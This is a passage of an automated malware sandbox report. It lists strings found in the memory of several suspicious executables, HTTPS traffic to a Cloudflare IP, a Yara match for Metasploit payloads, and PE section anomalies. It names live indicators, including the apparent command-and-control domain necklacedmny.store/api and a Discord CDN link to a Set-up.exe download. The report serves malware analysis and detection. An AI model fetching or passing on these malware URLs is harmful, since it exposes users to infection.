Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://earth.google.com/kml/2.0
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://earth.google.com/kml/2.1
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://earth.google.com/kml/2.2
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp String found in binary or memory: http://json-schema.org/draft-07/schema
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp String found in binary or memory: http://json-schema.org/schema
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000210C000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.collada.org/2005/11/COLLADASchema
Source: wintoolsone64.exe, 00000012.00000002.2666308747.0000000002100000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.garmin.com/xmlschemas/TrainingCenterDatabase/v2
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.opengis.net/gml
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.opengis.net/gml/3.2
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.opengis.net/gml/3.3/exr
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.opengis.net/kml/2.2
Source: wintoolsone64.exe, 00000012.00000002.2666308747.000000000211E000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.topografix.com/GPX/1/1
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1533108211.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2207427717.00000000062DD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp String found in binary or memory: https://aws.amazon.com
Source: file.exe, 00000000.00000003.1547441737.0000000001120000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000003.1547441737.0000000001120000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: axplong.exe, 00000014.00000002.2643417791.0000000001548000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.discordapp.com/
Source: axplong.exe, 00000014.00000002.2643417791.0000000001548000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.discordapp.com/3
Source: axplong.exe, 00000014.00000002.2643417791.000000000155D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000014.00000002.2643417791.0000000001584000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.discordapp.com/attachments/1286706039475015741/1300800513197211749/Set-up.exe?ex=6722286
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.1547441737.0000000001120000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1547441737.0000000001120000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: cc1af330ba.exe, 0000001A.00000002.2630286475.00000000005CC000.00000040.00000001.01000000.00000016.sdmp String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp String found in binary or memory: https://github.com/aws/jsii
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp String found in binary or memory: https://github.com/aws/jsii.git
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp String found in binary or memory: https://github.com/aws/jsii/issues
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp String found in binary or memory: https://github.com/jprichardson/node-fs-extra/issues/269
Source: skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: skotes.exe, 0000000B.00000003.2192419611.00000000061EA000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2249217090.00000000019E2000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2398354369.00000000019D1000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2249053450.00000000019ED000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2130264389.00000000019E0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2130435385.00000000019E0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234866352.00000000061DC000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2327206239.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234504978.00000000061DA000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000002.2631387587.00000000006B0000.00000004.00000020.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000002.2631387587.0000000000726000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/
Source: 9de8348ea3.exe, 00000019.00000002.2631387587.00000000006BE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/..H
Source: skotes.exe, 0000000B.00000003.2327206239.00000000019F5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/3
Source: skotes.exe, 0000000B.00000003.2192419611.00000000061EA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/55
Source: skotes.exe, 0000000B.00000003.2249053450.00000000019ED000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/:
Source: file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/N
Source: skotes.exe, 0000000B.00000003.2249053450.00000000019ED000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/Z
Source: skotes.exe, 0000000B.00000003.2398354369.00000000019D1000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2206792115.00000000019FB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2192341104.00000000061E0000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2217863632.00000000019FF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.1673101508.00000000010F0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api)
Source: skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiRpY
Source: skotes.exe, 0000000B.00000003.2192341104.00000000061E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apib
Source: skotes.exe, 0000000B.00000003.2206792115.00000000019FB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2217863632.00000000019FF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apib&
Source: skotes.exe, 0000000B.00000003.2398354369.00000000019D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/arddolum3
Source: skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/p
Source: skotes.exe, 0000000B.00000003.2192419611.00000000061EA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/~
Source: 9de8348ea3.exe, 00000019.00000002.2631387587.00000000006BE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/apil
Source: 9de8348ea3.exe, 00000019.00000002.2631387587.00000000006D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.storem
Source: wintoolsone64.exe, 00000012.00000000.2415148794.000000000115D000.00000002.00000001.01000000.00000012.sdmp String found in binary or memory: https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#
Source: skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1547441737.0000000001120000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1402430348.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402269787.00000000057E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1402185434.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131630188.000000000621B000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583496089.0000000005407000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583386202.0000000005409000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2584670439.0000000005407000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1547441737.0000000001120000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2234952879.00000000019F7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000003.1534878699.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1534878699.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2218705669.00000000064F2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49804 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49826 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49846 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49864 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49985 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49987 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49988 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49990 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49992 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49998 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49999 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.7:50004 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50008 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50009 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50010 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50015 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50017 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50018 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50019 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50020 version: TLS 1.2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 00000012.00000002.2666308747.0000000002306000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000012.00000002.2666308747.0000000002200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr Static PE information: section name:
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr Static PE information: section name: .idata
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr Static PE information: section name:
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr Static PE information: section name: .idata
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name: .idata
Source: skotes.exe.4.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name:
Source: random[1].exe.6.dr Static PE information: section name: .idata
Source: 9de8348ea3.exe.6.dr Static PE information: section name:
Source: 9de8348ea3.exe.6.dr Static PE information: section name: .idata
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: .idata
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[3].exe.6.dr Static PE information: section name:
Source: random[3].exe.6.dr Static PE information: section name: .rsrc
Source: random[3].exe.6.dr Static PE information: section name: .idata
Source: random[3].exe.6.dr Static PE information: section name:
Source: 8301009305.exe.6.dr Static PE information: section name:
Source: 8301009305.exe.6.dr Static PE information: section name: .idata
Source: 8301009305.exe.6.dr Static PE information: section name:
Source: 90f56e27b8.exe.6.dr Static PE information: section name:
Source: 90f56e27b8.exe.6.dr Static PE information: section name: .rsrc
